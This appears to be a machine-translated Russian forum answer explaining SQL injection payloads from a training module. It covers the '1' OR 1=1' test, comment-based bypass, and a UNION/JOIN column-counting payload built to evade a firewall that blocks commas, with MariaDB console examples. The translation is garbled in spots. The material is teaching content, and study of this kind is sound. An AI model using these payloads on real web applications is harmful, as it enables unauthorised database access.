Этап взлома: разведка, сканирование, получение доступа, сохранение доступа и очистка треков. По сути это просто obtain information
, затем do something with that information
Кажется, что этот SQL обучающий модуль для инъекций используется для обучения получению информации о текущей системе.
Основы c для SQL инъекций вставляет SQL код / команду / синтаксис. Обычно это делается в предложении WHERE (поскольку в веб-приложении часто есть функция поиска, которая в основном извлекает пользовательский ввод и вставляет его в предложение where.
Например, простейшая уязвимость может выглядеть следующим образом (при условии MySQL и PHP):
SELECT * FROM mytable WHERE mycolumn='$_GET[myparam]'
Полезная нагрузка - это то, что вы помещаете в параметр (например, myparam) для выполнения SQL внедрения. С помощью такого запроса вы можете ввести полезную нагрузку 1' OR 1=1
для проверки на SQL уязвимость внедрения.
1-я полезная нагрузка
1-я полезная нагрузка используется для проверки наличия точки ввода (параметр, который может быть введен) или нет.
- Если вы измените параметр и на выходе произойдет изменение, это означает, что есть точка впрыска.
- В противном случае точка впрыска не будет
2-я полезная нагрузка
2-я полезная нагрузка используется для проверки того, имеет ли целевое приложение уязвимость SQL для инъекций или нет (будет ли приложение дезинфицировать пользовательский ввод или нет).
- Если приложение отображает все выходные данные, n это означает, что приложение имеет уязвимость SQL для инъекций. Объяснение: потому что запрос, отправленный в СУБД, станет примерно таким:
До внедрения: SELECT col1, col2, ... colN FROM mytable WHERE col1='myparam'
После внедрения: SELECT col1, col2, ... colN FROM mytable WHERE col1='1' or 1-- -'
Обратите внимание, что в MySQL, --
(минус-минус-пробел) используется для пометки встроенного комментария. Таким образом, фактический запрос будет: SELECT col1, col2, ... colN FROM mytable WHERE col1='1' or 1
3-я полезная нагрузка
3-я полезная нагрузка используется для проверки количества столбцов, которые запрос ВЫБРАЕТ. Чтобы понять это, вы должны понимать subquery
, join
и union
(выполнить быстрый поиск, это очень базовая c концепция). Имя или псевдоним таблицы не важны (UT1 или UT2), это просто идентификатор, так что он не идентичен текущему псевдониму таблицы.
- Если запрос выполнен успешно (без ошибок, приложение отображает вывод) , тогда это означает, что запрос приложения ВЫБИРАЕТ 2 столбца
- Если запрос не выполнен, то это означает, что это не 2 столбца, вы можете изменить полезную нагрузку для проверки 3 столбцов, 4 столбцов и т. д. c ...
Пример проверки наличия в операторе SELECT 3 столбцов:
-1' union select * from (select 1)UT1 JOIN (SELECT 2)UT2 on 1=1 JOIN (SELECT 3)UT3 on 1=1 -- -
Советы: при изучении внедрения SQL гораздо проще просто набрать (или скопировать-вставить) полезная нагрузка на консоль SQL (используйте виртуальную машину или песочницу, если запрос считается опасным).
Edit 1:
basi c объяснение подзапроса и объединения
Подзапрос: это в основном помещение запроса в другой запрос. Подзапросы могут быть вставлены в предложение SELECT, предложение FROM и предложение WHERE.
Пример подзапроса в предложении FROM:
select * from (select 'hello','world','foo','bar')x;
Пример подзапроса в предложении WHERE:
select * from tblsample t1 where t1.price>(select avg(t2.price) from tblsample t2);
Объединение: объединение выходных данных выбора, пример:
tbl1
+----+--------+-----------+------+
| id | name | address | tele |
+----+--------+-----------+------+
| 1 | Rupert | Somewhere | 022 |
| 2 | John | Doe | 022 |
+----+--------+-----------+------+
tbl2
+----+--------+-----------+------+
| id | name | address | tele |
+----+--------+-----------+------+
| 1 | AAAAAA | DDDDDDDDD | 022 |
| 2 | BBBB | CCC | 022 |
+----+--------+-----------+------+
select * from tbl1 union select * from tbl2
+----+--------+-----------+------+
| id | name | address | tele |
+----+--------+-----------+------+
| 1 | Rupert | Somewhere | 022 |
| 2 | John | Doe | 022 |
| 1 | AAAAAA | DDDDDDDDD | 022 |
| 2 | BBBB | CCC | 022 |
+----+--------+-----------+------+
Редактировать 2:
дальнейшие пояснения по третьей полезной нагрузке
В mysql вы можете создать «буквальную таблицу», выбрав значение. Вот пример:
MariaDB [(none)]> SELECT 1;
+---+
| 1 |
+---+
| 1 |
+---+
1 row in set (0.00 sec)
MariaDB [(none)]> SELECT 1,2;
+---+---+
| 1 | 2 |
+---+---+
| 1 | 2 |
+---+---+
1 row in set (0.00 sec)
MariaDB [(none)]> SELECT 1 firstcol, 2 secondcol;
+----------+-----------+
| firstcol | secondcol |
+----------+-----------+
| 1 | 2 |
+----------+-----------+
1 row in set (0.00 sec)
Цель создания этой «буквальной таблицы» - проверить, сколько столбцов содержит оператор SELECT, который мы вводим. Например:
MariaDB [(none)]> SELECT 1 firstcol, 2 secondcol UNION SELECT 3 thirdcol, 4 fourthcol;
+----------+-----------+
| firstcol | secondcol |
+----------+-----------+
| 1 | 2 |
| 3 | 4 |
+----------+-----------+
2 rows in set (0.07 sec)
MariaDB [(none)]> SELECT 1 firstcol, 2 secondcol UNION SELECT 3 thirdcol, 4 fourthcol, 5 fifthcol;
ERROR 1222 (21000): The used SELECT statements have a different number of columns
Как показано выше, когда UNION используется в двух операторах select с различным числом столбцов, он выдаст ошибку. Следовательно, вы можете получить количество столбцов оператора SELECT, когда он НЕ выдает ошибку.
Итак, почему бы нам просто не использовать SELECT 1, 2
для генерации «буквальной таблицы» с 2 столбцами? Это потому, что брандмауэр приложения блокирует использование запятой. Поэтому мы должны go окольным путем и создать 2-колонную «буквальную таблицу» с запросом JOIN SELECT * FROM (SELECT 1)UT1 JOIN (SELECT 2)UT2 ON 1=1
MariaDB [(none)]> SELECT * FROM (SELECT 1)UT1 JOIN (SELECT 2)UT2 ON 1=1;
+---+---+
| 1 | 2 |
+---+---+
| 1 | 2 |
+---+---+
1 row in set (0.01 sec)
Дополнительное примечание: MariaDB - это «бесплатная версия» MySQL (так как MySQL был продан и стал собственностью). MariaDB поддерживает более или менее тот же синтаксис и команду, что и MySQL.